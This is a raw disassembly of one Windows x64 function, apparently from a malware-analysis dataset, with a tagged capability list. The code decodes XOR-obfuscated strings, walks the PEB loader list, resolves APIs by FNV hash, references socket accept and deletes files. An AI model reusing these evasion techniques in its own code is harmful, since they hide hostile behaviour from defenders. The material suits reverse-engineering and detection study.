Function at 0x140008860
Capabilities:
Access peb ldr_data
Create thread
Delete file
Encode data using xor
Execute command
Hash data using fnv
Move file
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0xb80
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140102080]
xor rax, rsp
mov qword [rbp + 0xad0], rax
xor r15d, r15d
movabs rdx, 0x5185f99d2731c665
movabs rcx, 0xfdfb4b50e4b6385e
lea r14, [r15 - 1]
cmp byte [0x140103483], r15b
jne 0x140008917
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140006440]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x140008903
mov byte [0x140103481], 1
jmp 0x140008a90
movabs rcx, 0xfdfb4b50e4b6385e
movabs rdx, 0x5185f99d2731c665
cmp byte [0x140103481], r15b
jne 0x140008a90
lea rax, [rbp + 0x3e0]
mov qword [rbp + 0x400], rax
movabs rax, 0x22e48ebd435ea902
mov qword [rbp + 0x10], rax
movabs rax, 0xfdfb2e2388d75e7e
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x740], rdx
mov qword [rbp + 0x748], rcx
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x740]
movdqa xmmword [rbp + 0x10], xmm0
movzx edx, byte [rbp + 0x98]
lea rcx, [rbp + 0x3e0]
call fcn.140005dd0
nop
lea rax, [rbp + 0x10]
mov r8, r14
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140008990
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x3e0]
call fcn.140015a50
nop
lea rdx, [rbp + 0x3e0]
lea rcx, [0x140103610]
call fcn.14007c790
mov rax, qword [0x140103468]
test rax, rax
jne 0x140008a87
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140008a67
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140008a67
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140008a62
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140008a40
cmp edx, 0xcded1a85
je 0x1400094fb
test r8d, r8d
jne 0x140008a20
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140008a7d
cmp qword [rax + 0x30], 0
jne 0x1400089f0
mov rax, r15
mov qword [0x140103468], rax
xor ecx, ecx
call rax
call fcn.1400060c0
cmp byte [reloc.WS2_32.dll_accept], 1
jne 0x1400108ac
movabs rdi, 0x5185f99d4f45a715
movabs rbx, 0x7fed8dfc576dfc26
movabs rsi, 0xfdfb4b508ad94b34
movabs r13, 0x38e297d846448a39
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x140103483], 0
jne 0x1400097b4
lea rcx, [0x140103610]
call fcn.14007aaa0
lea rcx, [0x140103610]
call fcn.140076b50
mov byte [0x140103483], 1
mov qword [rbp + 0x10], rbx
mov qword [rbp + 0x18], rsi
movabs rcx, 0x5185f99d2731c665
mov qword [rbp + 0x720], rcx
movabs rax, 0xfdfb4b50e4b6385e
mov qword [rbp + 0x728], rax
movdqa xmm0, xmmword [rbp + 0x720]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x10]
lea rcx, [0x1401020d0]
call fcn.1400127d0
lea rdx, [rbp + 0x720]
lea rcx, [rbp + 0x98]
call fcn.140010900
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x140008d03
mov r8d, r15d
cmp r12d, 2
jl 0x140008cbb
movdqa xmm5, xmmword [0x1400eed60]
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1400eed90]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140008bb0
cmp r8d, 0x11
jge 0x140008d03
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140008cd0
mov qword [rbp + 0xb0], r10
xor r8d, r8d
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x3e0]
call fcn.140015300
nop
lea rcx, [rbp + 0x3e0]
call fcn.140003fc0
movzx ebx, al
lea rcx, [rbp + 0x3e0]
call fcn.140003690
test bl, bl
je 0x140009537
lea rax, [rbp + 0x290]
mov qword [rbp + 0xb0], rax
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x100]
call fcn.140010920
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140008d92
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor byte [rax + 5], 0x3a
xor byte [rax + 6], 0x3b
xor byte [rax + 7], 0x3c
xor cl, 0x3d
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140012920
mov rbx, rax
lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0x119]
call fcn.140010900
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x140008f63
mov r8d, r15d
cmp r12d, 2
jl 0x140008f1b
movdqa xmm5, xmmword [0x1400eed60]
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1400eed90]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140008e10
cmp r8d, 0x11
jge 0x140008f63
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140008f30
mov rdx, r10
lea rcx, [rbp + 0x260]
call fcn.140012920
nop
mov rdx, rbx
mov rcx, rax
call fcn.1400053f0
test al, al
je 0x140009537
lea rax, [rbp + 0x140]
mov qword [rbp + 0x720], rax
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0xf0]
call fcn.140010920
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140008fd4
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor byte [rax + 5], 0x3a
xor byte [rax + 6], 0x3b
xor byte [rax + 7], 0x3c
xor cl, 0x3d
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x140]
call fcn.140012920
mov rbx, rax
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0xf1]
call fcn.140010900
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x1400091a3
mov r8d, r15d
cmp r12d, 2
jl 0x14000915c
movdqa xmm5, xmmword [0x1400eed60]
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1400eed90]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140009051
cmp r8d, 0x11
jge 0x1400091a3
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140009170
mov rdx, r10
lea rcx, [rbp + 0xb8]
call fcn.140012920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x408]
call fcn.140004e60
nop
lea rax, [rbp + 0x260]
mov qword [rbp + 0x720], rax
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0xf2]
call fcn.140010940
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140009214
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor byte [rax + 5], 0x3a
xor byte [rax + 6], 0x3b
xor byte [rax + 7], 0x3c
xor cl, 0x3d
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x260]
call fcn.140012920
mov rbx, rax
lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0xf3]
call fcn.140010900
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x1400093e3
mov r8d, r15d
cmp r12d, 2
jl 0x14000939c
movdqa xmm5, xmmword [0x1400eed60]
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1400eed90]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140009291
cmp r8d, 0x11
jge 0x1400093e3
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400093b0
mov rdx, r10
lea rcx, [rbp + 0x290]
call fcn.140012920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x480]
call fcn.140004e60
nop
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x720], rax
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0xb8]
call fcn.140012960
mov rbx, rax
lea rdx, [rbp + 0x408]
lea rcx, [rbp + 0x140]
call fcn.140012960
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x140103610]
call fcn.14007cf20
cmp byte [0x140103820], 0
jne 0x140009517
movabs rax, 0x38f18df8546dfc26
mov qword [rbp + 0x3e0], rax
movabs rax, 0x9394383acac55f30
mov qword [rbp + 0x3e8], rax
movabs rcx, 0x42d986f3e048d4a7
mov qword [rbp + 0x3f0], rcx
movabs rdx, 0xe9f254064b874a10
mov qword [rbp + 0x3f8], rdx
movabs rax, 0x5185f99d2731c665
mov qword [rbp + 0x700], rax
movabs rax, 0xfdfb4b50e4b6385e
mov qword [rbp + 0x708], rax
mov qword [rbp + 0x710], rcx
mov qword [rbp + 0x718], rdx
vmovdqu ymm0, ymmword [rbp + 0x3e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x700]
vmovdqa ymmword [rbp + 0x3e0], ymm1
lea rcx, [rbp + 0x3e0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
jmp 0x14000951e
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x140008a80
mov byte [0x140103484], 1
lea rcx, [rbp + 0x480]
call fcn.140012800
nop
lea rcx, [rbp + 0x408]
call fcn.140012800
movabs rax, 0x7fed8dfc576dfc26
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x2c8], rsi
movabs rax, 0x5185f99d2731c665
mov qword [rbp + 0x5c0], rax
movabs rax, 0xfdfb4b50e4b6385e
mov qword [rbp + 0x5c8], rax
movdqa xmm0, xmmword [rbp + 0x5c0]
xorps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rax, [rbp + 0x2c0]
mov qword [rbp + 0xb0], rax
xor r8d, r8d
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x408]
call fcn.14001a1b0
nop
lea rcx, [rbp + 0x408]
call fcn.140003fc0
movzx ebx, al
lea rcx, [rbp + 0x408]
call fcn.140003690
test bl, bl
je 0x1400097b4
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x720], rax
mov qword [rbp + 0x520], rdi
movabs rdi, 0xfdfb4b50e4b6385e
mov qword [rbp + 0x528], rdi
movabs rax, 0x5185f99d2731c665
mov qword [rbp + 0x5a0], rax
mov qword [rbp + 0x5a8], rdi
movdqa xmm0, xmmword [rbp + 0x5a0]
xorps xmm0, xmmword [rbp + 0x520]
movdqa xmmword [rbp + 0x520], xmm0
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0xb8]
call fcn.140012920
mov rbx, rax
movabs rax, 0x7fed8dfc576dfc26
mov qword [rbp + 0x540], rax
mov qword [rbp + 0x548], rsi
movabs rsi, 0x5185f99d2731c665
mov qword [rbp + 0x800], rsi
mov qword [rbp + 0x808], rdi
movdqa xmm0, xmmword [rbp + 0x540]
xorps xmm0, xmmword [rbp + 0x800]
movdqa xmmword [rbp + 0x540], xmm0
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x140]
call fcn.140012920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x3e0]
call fcn.140004e60
nop
movabs rax, 0x35abc9ac4302a239
mov qword [rbp + 0x580], rax
movabs rax, 0xfdfb4b50e4b65432
mov qword [rbp + 0x588], rax
mov qword [rbp + 0x560], rsi
mov qword [rbp + 0x568], rdi
movdqa xmm0, xmmword [rbp + 0x580]
xorps xmm0, xmmword [rbp + 0x560]
movdqa xmmword [rbp + 0x580], xmm0
lea r8, [rbp + 0x580]
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x480]
call fcn.140014de0
nop
mov qword [rbp + 0x500], r13
movabs rax, 0xfdfb273c80985d30
mov qword [rbp + 0x508], rax
mov qword [rbp + 0x4c0], rsi
mov qword [rbp + 0x4c8], rdi
movdqa xmm0, xmmword [rbp + 0x4c0]
xorps xmm0, xmmword [rbp + 0x500]
movdqa xmmword [rbp + 0x500], xmm0
lea r8, [rbp + 0x500]
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x408]
call fcn.140014de0
lea rcx, [rbp + 0x480]
call fcn.1400127c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp + 0x408]
call fcn.1400127c0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [rbp + 0x408]
call fcn.140012800
nop
lea rcx, [rbp + 0x480]
call fcn.140012800
nop
lea rcx, [rbp + 0x3e0]
call fcn.140012800
jmp 0x1400097c8
movabs rsi, 0x5185f99d2731c665
movabs rdi, 0xfdfb4b50e4b6385e
xor edx, edx
cmp byte [0x140103484], dl
jne 0x14000c83c
lea rcx, [0x1401020b8]
call fcn.140032dc0
movss xmm0, dword [0x1400eebe0]
call fcn.140032df0
movabs r13, 0x35f796ea5442a715
movss xmm9, dword [0x1400eec64]
movss xmm10, dword [0x1400eec80]
mov eax, dword [0x1401034a4]
test eax, eax
jne 0x14000a2be
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x10b]
call fcn.140010960
movzx ecx, byte [rax + 1]
test cl, cl
je 0x14000983d
xor byte [rax], 0x35
xor cl, 0x36
mov byte [rax + 1], cl
mov r8d, Ordinal_301
lea rdx, reloc.WS2_32.dll_accept
mov rcx, rax
call fcn.14002f640
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0xf4]
call fcn.140010970
movzx ecx, byte [rax + 9]
test cl, cl
je 0x140009893
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor byte [rax + 5], 0x3a
xor byte [rax + 6], 0x3b
xor byte [rax + 7], 0x3c
xor byte [rax + 8], 0x3d
xor cl, 0x3e
mov byte [rax + 9], cl
mov rcx, rax
call fcn.14005f4f0
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp + 0xf5]
call fcn.140010990
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x140009a53
cmp r12d, 2
jl 0x140009a15
movdqa xmm5, xmmword [0x1400eed60]
mov edx, r15d
movdqa xmm4, xmmword [0x1400eef50]
mov ebx, 5
movd xmm6, ebx
movdqa xmm7, xmmword [0x1400eed90]
mov r14d, Ordinal_35
movd xmm8, r14d
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
mov rcx, rax
mov r8d, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140009910
jmp 0x140009a5d
mov r9, r10
mov r8d, r15d
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140009a20
mov r14d, Ordinal_35
lea ebx, [r14 - 0x1a]
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8d, [r9 + 0x11]
lea rdx, [0x1401034d8]
mov rcx, r10
call fcn.140062bd0
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x11d]
call fcn.1400109a0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x140009abe
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor byte [rax + 5], 0x3a
xor byte [rax + 6], 0x3b
xor byte [rax + 7], 0x3c
xor byte [rax + 8], 0x3d
xor cl, 0x3e
mov byte [rax + 9], cl
mov rcx, rax
call fcn.14005f4f0
lea rdx, [rbp + 0x7b0]
lea rcx, [rbp + 0x11c]
call fcn.1400109c0
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x140009c73
cmp r12d, 2
jl 0x140009c35
movdqa xmm5, xmmword [0x1400eed60]
mov edx, r15d
movdqa xmm4, xmmword [0x1400eef50]
movd xmm6, ebx
movdqa xmm7, xmmword [0x1400eed90]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
mov rcx, rax
mov r8d, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
